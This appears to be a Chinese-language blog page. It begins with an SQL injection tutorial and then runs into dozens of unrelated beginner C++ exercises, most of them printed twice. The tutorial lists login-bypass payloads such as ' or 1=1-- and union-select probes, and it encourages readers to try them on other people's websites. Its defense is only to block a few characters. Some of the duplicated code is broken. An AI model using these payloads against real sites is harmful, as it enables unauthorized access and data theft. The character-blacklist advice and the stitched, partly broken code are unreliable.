SQL 注入漏洞又名:資料隱碼攻擊,在談到 SQL 注入漏洞時一定要知道什麼是 SQL,SQL 是結構化查詢語言(英語:Structured Query Language,縮寫:SQL),這專有名詞很惱人,所以先不理他,簡單來說,SQL 是一種資料庫語言,而資料庫常用來做登入系統,例如建立一個有帳戶名稱和密碼的資料庫,可以很方便地進行管理,但也有一個缺點,那就是你的資料庫若沒做好安全防護,很有可能讓你的客戶個資外洩,其中一種攻擊方式就是今天要講的 SQL 注入攻擊,這種攻擊常用在當你用 SQL 資料庫來當你的網站後台(就是編輯網站和管理網站的地方)的登入系統時,有可能遭駭客利用 SQL 注入漏洞,導致你的網站首頁可能被惡搞之類的後果,所以我要來介紹一下 SQL 注入的攻擊手法和防範方法。
這樣的登入頁面很陽春,但很多小型網站的登入系統都是自己設計的,懶得加美邊及防護,所以可能漏洞百出,在這裡,我們先想想,如果我正常的輸入帳密會登入到系統中,但若我不知道帳密,想繞過登入保護機制呢?
這時 SQL 注入就派上用場了,我們以一個簡單的範例來看:
我們假設存密碼的變數叫 A
正常輸入會變 A=1234
但我們如果輸入 "=A" 呢?這樣 A==A 就變恆等式了,條件一定成立,所以回到灰狼87網的登入頁面,我們在帳號的地方輸入特定句子後說不定能繞過登入機制
先看到網址列尾端,
如果是 XXX.php,就是 PHP 網頁
如果是 XXX.asp ,就是 ASP 網頁
這兩種網頁要分別使用不同的測試語句
攻
首先,我們先站在攻擊者的角度來思考,假設有一個網站叫灰狼87網,他的後台登入頁面長這樣:這樣的登入頁面很陽春,但很多小型網站的登入系統都是自己設計的,懶得加美邊及防護,所以可能漏洞百出,在這裡,我們先想想,如果我正常的輸入帳密會登入到系統中,但若我不知道帳密,想繞過登入保護機制呢?
這時 SQL 注入就派上用場了,我們以一個簡單的範例來看:
我們假設存密碼的變數叫 A
正常輸入會變 A=1234
但我們如果輸入 "=A" 呢?這樣 A==A 就變恆等式了,條件一定成立,所以回到灰狼87網的登入頁面,我們在帳號的地方輸入特定句子後說不定能繞過登入機制
先看到網址列尾端,
如果是 XXX.php,就是 PHP 網頁
如果是 XXX.asp ,就是 ASP 網頁
這兩種網頁要分別使用不同的測試語句
PHP 網頁的測試語句
- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or '' = '
- ' or 'a'='a
- " or "a"="a
- ') or ('a' 'a
- ' or 1=1
- ' or '1=1
ASP網頁的測試語句
- ' or 1=1
- ' or '1=1
- '/*
- '%23//" '#"
- ' and password='mypass
- id=-1 union select 1,1,1
- id=-1 union select char(97),char(97),char(97)
- id=-1 union select 1,1,1 from members
- id=-1 union select 1,1,1 from admin
- id=-1 union select 1,1,1 from user
知道是哪一種網頁後把藍色的測試語句貼在帳號和密碼欄位上,每一條都試試看,看看能否繞過登入系統,可以拿來測試你自己的網站或「測試」別人的也可,只要看到這類頁面都可試試,但別說是我教的…
防
好啦,再來是防禦的部分,很簡單,詳細辦法若你能設計出登入頁面自然知道下面要怎麼做
你只要禁止輸入時包含以下字元即可:
- ;
- '
- --
- /*...*/
今天的教學就到這邊啦!記得分享此文給有需要的人喔~
#include <iostream>
using namespace std;
int f(int);
int main(void)
{
int n;
cout<<"Input n:";
cin>>n;
cout<<"f("<<n<<") = "<<f(n);
return 0;
}
int f(int n)
{
if(n==1 || n==2) //遞迴函式的中止條件
return 1;
return f(n-1) + f(n-2);
}
using namespace std;
int f(int);
int main(void)
{
int n;
cout<<"Input n:";
cin>>n;
cout<<"f("<<n<<") = "<<f(n);
return 0;
}
int f(int n)
{
if(n==1 || n==2) //遞迴函式的中止條件
return 1;
return f(n-1) + f(n-2);
}
#include <iostream>
using namespace std;
int factorial(int); //宣告自訂函式f
int main(void)
{
int n;
cout<<"Input n:";
cin>>n;
cout<<n<<"! = "<<factorial(n);
return 0;
}
int factorial(int n)
{
int i,fac=1;
for(i=1;i<=n;i++)
fac = fac * i;
return fac;
}
using namespace std;
int factorial(int); //宣告自訂函式f
int main(void)
{
int n;
cout<<"Input n:";
cin>>n;
cout<<n<<"! = "<<factorial(n);
return 0;
}
int factorial(int n)
{
int i,fac=1;
for(i=1;i<=n;i++)
fac = fac * i;
return fac;
}
#include <iostream>
using namespace std;
int main(void)
{
register int i; //宣告register變數i
for(i=0;i<10000;i++)
cout<<i<<" ";
return 0;
}
using namespace std;
int main(void)
{
register int i; //宣告register變數i
for(i=0;i<10000;i++)
cout<<i<<" ";
return 0;
}
main.cpp:
_________________________________________________
#include <iostream>
#include "fonction.cpp" //使用雙引號將fonction.cpp檔含括進來
using namespace std;
extern void f(int); //宣告自訂函式mul
int a; //宣告全域變數a
int main(void)
{
f(5); //呼叫函式f並將回傳值儲存進變數a
cout<<"a = "<<a<<endl;
}
_________________________________________________
#include <iostream>
#include "fonction.cpp" //使用雙引號將fonction.cpp檔含括進來
using namespace std;
extern void f(int); //宣告自訂函式mul
int a; //宣告全域變數a
int main(void)
{
f(5); //呼叫函式f並將回傳值儲存進變數a
cout<<"a = "<<a<<endl;
}
_________________________________________________
fonction.cpp:
_________________________________________________
extern int a; //加上extern修飾字
void f(int b)
{
a=b*b;
return;
}
fonction.cpp:
_________________________________________________
extern int a; //加上extern修飾字
void f(int b)
{
a=b*b;
return;
}
#include <iostream>
using namespace std;
double volume(int);
double surface(int);
const double pi=3.14159;
int main ()
{
int r;
cout<<"請輸入球體半徑:";
cin>>r;
cout<<"球體體積:"<<volume(r)<<endl<<"球體表面積:"<<surface(r)<<endl;
return 0;
}
double volume(int r){
return r*r*r*pi*4/3;
}
double surface(int r){
return r*r*pi*4;
}
using namespace std;
double volume(int);
double surface(int);
const double pi=3.14159;
int main ()
{
int r;
cout<<"請輸入球體半徑:";
cin>>r;
cout<<"球體體積:"<<volume(r)<<endl<<"球體表面積:"<<surface(r)<<endl;
return 0;
}
double volume(int r){
return r*r*r*pi*4/3;
}
double surface(int r){
return r*r*pi*4;
}
#include <iostream>
using namespace std;
int f(int,int); //計算整數的次方
int main(void)
{
int x,n;
cout<<"計算x的n次方, 請輸入x & n:";
cin>>x>>n;
cout<<x<<"^"<<n<<" = "<<f(x,n);
return 0;
}
int f(int x,int n)
{
int i,k;
k = x;
for(i=1;i<n;i++)
x = x*k;
return x;
}
using namespace std;
int f(int,int); //計算整數的次方
int main(void)
{
int x,n;
cout<<"計算x的n次方, 請輸入x & n:";
cin>>x>>n;
cout<<x<<"^"<<n<<" = "<<f(x,n);
return 0;
}
int f(int x,int n)
{
int i,k;
k = x;
for(i=1;i<n;i++)
x = x*k;
return x;
}
#include <iostream>
using namespace std;
int main()
{
int sum;
for(int i=1;i<=10000;i++){
sum=0;
for(int j=1;j<=i/2;j++)
{
if(!(i%j))
sum+=j;
}
if(sum==i)cout<<i<<"是完全數"<<endl;
}
return 0;
}
using namespace std;
int main()
{
int sum;
for(int i=1;i<=10000;i++){
sum=0;
for(int j=1;j<=i/2;j++)
{
if(!(i%j))
sum+=j;
}
if(sum==i)cout<<i<<"是完全數"<<endl;
}
return 0;
}
#include <iostream>
using namespace std;
int main ()
{
int i;
for(i=2;i<101;i++) {
int j,flag=1;
for(j=2;j<i;j++) {
if(!(i%j)) flag = 0;
}
if(flag)
cout<<i<<"是質數 ";
}
return 0;
}
using namespace std;
int main ()
{
int i;
for(i=2;i<101;i++) {
int j,flag=1;
for(j=2;j<i;j++) {
if(!(i%j)) flag = 0;
}
if(flag)
cout<<i<<"是質數 ";
}
return 0;
}
#include <iostream>
using namespace std;
int main ()
{
int a,b,i,M=0,m=0;
cout<<"請輸入兩個正整數:";
cin>>a>>b; /*輸入兩整數*/
for(i=1;i<a && i<b;i++) {
if(!(a%i) && !(b%i)) /*若a,b可被i整除,i為a,b之公因數*/
M = i;
}
cout<<a<<" 和 "<<b<<" 之最大公因數 "<<M<<endl;
if(a<b) i=a;
else i=b;
while(1) {
if(!(i%a) && !(i%b)) { /*若i可整除a,b,i為a,b之倍數*/
m = i;
break; /*第一個出現的就是最小公倍數*/
}
i++;
}
cout<<a<<" 和 "<<b<<" 之最小公倍數 "<<m<<endl;
return 0;
}
using namespace std;
int main ()
{
int a,b,i,M=0,m=0;
cout<<"請輸入兩個正整數:";
cin>>a>>b; /*輸入兩整數*/
for(i=1;i<a && i<b;i++) {
if(!(a%i) && !(b%i)) /*若a,b可被i整除,i為a,b之公因數*/
M = i;
}
cout<<a<<" 和 "<<b<<" 之最大公因數 "<<M<<endl;
if(a<b) i=a;
else i=b;
while(1) {
if(!(i%a) && !(i%b)) { /*若i可整除a,b,i為a,b之倍數*/
m = i;
break; /*第一個出現的就是最小公倍數*/
}
i++;
}
cout<<a<<" 和 "<<b<<" 之最小公倍數 "<<m<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main ()
{
int i,j;
for(i=1;i<10;i++) { //外迴圈,將被乘數每次遞增1
for(j=1;j<10;j++) //內迴圈,將乘數每次遞增1
cout<<i<<"*"<<j<<"="<<i*j<<" "; //計算並印出99乘法表的值
cout<<endl; //印完一列後換行
}
return 0;
}
using namespace std;
int main ()
{
int i,j;
for(i=1;i<10;i++) { //外迴圈,將被乘數每次遞增1
for(j=1;j<10;j++) //內迴圈,將乘數每次遞增1
cout<<i<<"*"<<j<<"="<<i*j<<" "; //計算並印出99乘法表的值
cout<<endl; //印完一列後換行
}
return 0;
}
#include <iostream>
using namespace std;
int main ()
{
int i,num,ans;
while(true){
i=1;
ans=0;
cout<<"輸入一整數:";
cin>>num;
while(i<=num) {
ans = ans + i;
i++;
}
cout<<"1+2+3+…+"<<num<<" = "<<ans<<endl;
}
return 0;
}
using namespace std;
int main ()
{
int i,num,ans;
while(true){
i=1;
ans=0;
cout<<"輸入一整數:";
cin>>num;
while(i<=num) {
ans = ans + i;
i++;
}
cout<<"1+2+3+…+"<<num<<" = "<<ans<<endl;
}
return 0;
}
#include <iostream>
using namespace std;
int main ()
{
int i;
for(i=0;i<5;i++)
cout<<"Loop is fun!\n"; //連續印出5次Loop is fun!
return 0;
}
using namespace std;
int main ()
{
int i;
for(i=0;i<5;i++)
cout<<"Loop is fun!\n"; //連續印出5次Loop is fun!
return 0;
}
// 解一元二次方程式:ax^2 + bx + c = 0 輸入a, b, c 利用公式解解x
#include <iostream>
#include <math.h>
using namespace std;
int main ()
{
double a, b, c;
cout << "ax^2 + bx + c = 0\n請依序輸入a, b, c\n";
cin >> a >> b >> c;
cout << "答案是";
if(pow(b, 2) - 4 * a * c > 0)
cout << ((-1) * b + sqrt(pow(b, 2) - 4 * a * c)) / 2 / a << " " <<
(-b - sqrt(pow(b, 2) - 4 * a * c)) / 2 / a << endl;
else if(pow(b, 2) - 4 * a * c == 0)
cout << (-1) * b / 2 / a << endl;
else
cout << "無解\n";
return 0;
}
#include <iostream>
#include <math.h>
using namespace std;
int main ()
{
double a, b, c;
cout << "ax^2 + bx + c = 0\n請依序輸入a, b, c\n";
cin >> a >> b >> c;
cout << "答案是";
if(pow(b, 2) - 4 * a * c > 0)
cout << ((-1) * b + sqrt(pow(b, 2) - 4 * a * c)) / 2 / a << " " <<
(-b - sqrt(pow(b, 2) - 4 * a * c)) / 2 / a << endl;
else if(pow(b, 2) - 4 * a * c == 0)
cout << (-1) * b / 2 / a << endl;
else
cout << "無解\n";
return 0;
}
#include <iostream>
using namespace std;
int main(void)
{
char ch;
cin>>ch;
if(ch >= 'a' && ch <= 'z')
cout<<"輸入字元為小寫字母\n";
if(ch >= 'A' && ch <= 'Z')
cout<<"輸入字元為大寫字母\n";
if(ch >= '0' && ch <='9')
cout<<"輸入字元為阿拉伯數字\n";
return 0;
}
using namespace std;
int main(void)
{
char ch;
cin>>ch;
if(ch >= 'a' && ch <= 'z')
cout<<"輸入字元為小寫字母\n";
if(ch >= 'A' && ch <= 'Z')
cout<<"輸入字元為大寫字母\n";
if(ch >= '0' && ch <='9')
cout<<"輸入字元為阿拉伯數字\n";
return 0;
}
#include <iostream>
using namespace std;
int main(void)
{
char ch; //宣告儲存使用者選擇的變數
double input; //宣告儲存使用者輸入的數字
cout<<"您要轉換 1)公尺 -> 英呎 2)公斤 -> 英鎊"<<endl;
cin>>ch; /* 輸入選擇 */
cout<<"請輸入預轉換的數字:"<<endl;
cin>>input; /* 輸入欲轉換的數 */
if(ch == '1') //轉換公尺
cout<<input<<"公尺 = "<<input*3.28<<" 英呎"<<endl;
else if(ch == '2') //轉換公斤
cout<<input<<"公斤 = "<<input*2.2<<" 英磅"<<endl;
else
cout<<"沒有這個選項"<<endl;
return 0;
}
using namespace std;
int main(void)
{
char ch; //宣告儲存使用者選擇的變數
double input; //宣告儲存使用者輸入的數字
cout<<"您要轉換 1)公尺 -> 英呎 2)公斤 -> 英鎊"<<endl;
cin>>ch; /* 輸入選擇 */
cout<<"請輸入預轉換的數字:"<<endl;
cin>>input; /* 輸入欲轉換的數 */
if(ch == '1') //轉換公尺
cout<<input<<"公尺 = "<<input*3.28<<" 英呎"<<endl;
else if(ch == '2') //轉換公斤
cout<<input<<"公斤 = "<<input*2.2<<" 英磅"<<endl;
else
cout<<"沒有這個選項"<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int year;
cin>>year;
if(!(year%4)) { //可被4整除
if(!(year%100) && year%400) //被4和100都整除,但不被400整除
cout<<year<<" 年不為閏年"<<endl;
else
cout<<year<<" 年為閏年"<<endl; //被4和400都整除,但不被100整除
}
else
cout<<year<<" 年不為閏年"<<endl; //無法被4整除
return 0;
}
using namespace std;
int main()
{
int year;
cin>>year;
if(!(year%4)) { //可被4整除
if(!(year%100) && year%400) //被4和100都整除,但不被400整除
cout<<year<<" 年不為閏年"<<endl;
else
cout<<year<<" 年為閏年"<<endl; //被4和400都整除,但不被100整除
}
else
cout<<year<<" 年不為閏年"<<endl; //無法被4整除
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int score;
cout<<"請輸入您的成績:";
cin>>score;
if(score >= 90) //是否為90分以上
cout<<"您為甲等"<<endl;
else if(score >= 80) //小於90但80以上
cout<<"您為乙等"<<endl;
else if(score >= 70) //小於80但70以上
cout<<"您為丙等"<<endl;
else if(score >= 60) //小於70但60以上
cout<<"您為丁等"<<endl;
else //小於60分
cout<<"您為戊等"<<endl;
return 0;
}
using namespace std;
int main()
{
int score;
cout<<"請輸入您的成績:";
cin>>score;
if(score >= 90) //是否為90分以上
cout<<"您為甲等"<<endl;
else if(score >= 80) //小於90但80以上
cout<<"您為乙等"<<endl;
else if(score >= 70) //小於80但70以上
cout<<"您為丙等"<<endl;
else if(score >= 60) //小於70但60以上
cout<<"您為丁等"<<endl;
else //小於60分
cout<<"您為戊等"<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int people, money;
cout<<"請輸入購買人數:";
cin>>people;
money=people*399; // 輸入人數
if(people > 20) // 若人數大於二十
money = money*8/10; // 打八折
cout<<"總票價"<<money<<endl; //印出計算結果
return 0;
}
using namespace std;
int main()
{
int people, money;
cout<<"請輸入購買人數:";
cin>>people;
money=people*399; // 輸入人數
if(people > 20) // 若人數大於二十
money = money*8/10; // 打八折
cout<<"總票價"<<money<<endl; //印出計算結果
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int money;
cout<<"請輸入購買金額:";
cin>>money; // 輸入買了多少錢
if(money > 2000) // 若金額大於兩千
money = money*7/10; // 打七折
cout<<"實需付"<<money<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
double top, bottom, height;
cout << "請輸入上底長度\n";
cin >> top;
cout << "請輸入下底長度\n";
cin >> bottom;
cout << "請輸入高度\n";
cin >> height;
cout << "面積是" << (top+bottom)*height/2 << endl;
return 0;
}
using namespace std;
int main()
{
double top, bottom, height;
cout << "請輸入上底長度\n";
cin >> top;
cout << "請輸入下底長度\n";
cin >> bottom;
cout << "請輸入高度\n";
cin >> height;
cout << "面積是" << (top+bottom)*height/2 << endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
double r,pi=3.1415;
cout<<"請輸入圓半徑:";
cin>>r;
cout<<endl<<r*r*pi;
return 0;
}
using namespace std;
int main()
{
double r,pi=3.1415;
cout<<"請輸入圓半徑:";
cin>>r;
cout<<endl<<r*r*pi;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int chinese,english,math;
float average; //宣告average為浮點數變數
cout<<"請輸入國文、英文、數學成績:";
cin>>chinese>>english>>math; //讀入各科成績
average = (float)(chinese+english+math)/3; //將分數加總後除以3
cout<<"平均分數為: "<<average<<endl;
return 0;
}
using namespace std;
int main()
{
int chinese,english,math;
float average; //宣告average為浮點數變數
cout<<"請輸入國文、英文、數學成績:";
cin>>chinese>>english>>math; //讀入各科成績
average = (float)(chinese+english+math)/3; //將分數加總後除以3
cout<<"平均分數為: "<<average<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
double C,F; //宣告兩個浮點數變數
cout<<"請輸入華氏溫度:" ;
cin>>F; //將使用者輸入的數字存入變數F
C=(F-32)*5/9; //使用公式轉換溫度
cout<<"華氏 "<<F<<" 度轉為攝氏後為 "<<C<<" 度"<<endl; //印出結果
return 0;
}
using namespace std;
int main()
{
double C,F; //宣告兩個浮點數變數
cout<<"請輸入華氏溫度:" ;
cin>>F; //將使用者輸入的數字存入變數F
C=(F-32)*5/9; //使用公式轉換溫度
cout<<"華氏 "<<F<<" 度轉為攝氏後為 "<<C<<" 度"<<endl; //印出結果
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int x;
int y;
int z;
x=1; //將變數x的值指定為1
y=x+1; //將變數y的值指定為x的值(1)加1
z=x+y; //將變數z的值設為x的值(1)加y的值(2)
cout<<"x="<<x<<endl; //x=1
cout<<"y="<<y<<endl; //y=2
cout<<"z="<<z<<endl; //z=3
return 0;
}
using namespace std;
int main()
{
int x;
int y;
int z;
x=1; //將變數x的值指定為1
y=x+1; //將變數y的值指定為x的值(1)加1
z=x+y; //將變數z的值設為x的值(1)加y的值(2)
cout<<"x="<<x<<endl; //x=1
cout<<"y="<<y<<endl; //y=2
cout<<"z="<<z<<endl; //z=3
return 0;
}
#include <iostream>
#define rate 0.0487
using namespace std;
int main()
{
//宣告整數myAccount
int myAccount;
//印出指令
cout<<"請輸入存款金額:";
//將輸入的金額存入變數myAccount
cin>>myAccount;
//印出利率計算的結果
cout<<"戶頭一利息:"<< myAccount*rate<<endl;
return 0;
}
#define rate 0.0487
using namespace std;
int main()
{
//宣告整數myAccount
int myAccount;
//印出指令
cout<<"請輸入存款金額:";
//將輸入的金額存入變數myAccount
cin>>myAccount;
//印出利率計算的結果
cout<<"戶頭一利息:"<< myAccount*rate<<endl;
return 0;
}
#include <iostream>
using namespace std;
int main()
{
int x;
int y;
cout<<“Input two integers to get sum:”<<endl;
cin>>x>>y;
cout<<“The sum of “<<x<<” and “<<y<<” is “<<x+y<<endl;
return 0;
}
using namespace std;
int main()
{
int x;
int y;
cout<<“Input two integers to get sum:”<<endl;
cin>>x>>y;
cout<<“The sum of “<<x<<” and “<<y<<” is “<<x+y<<endl;
return 0;
}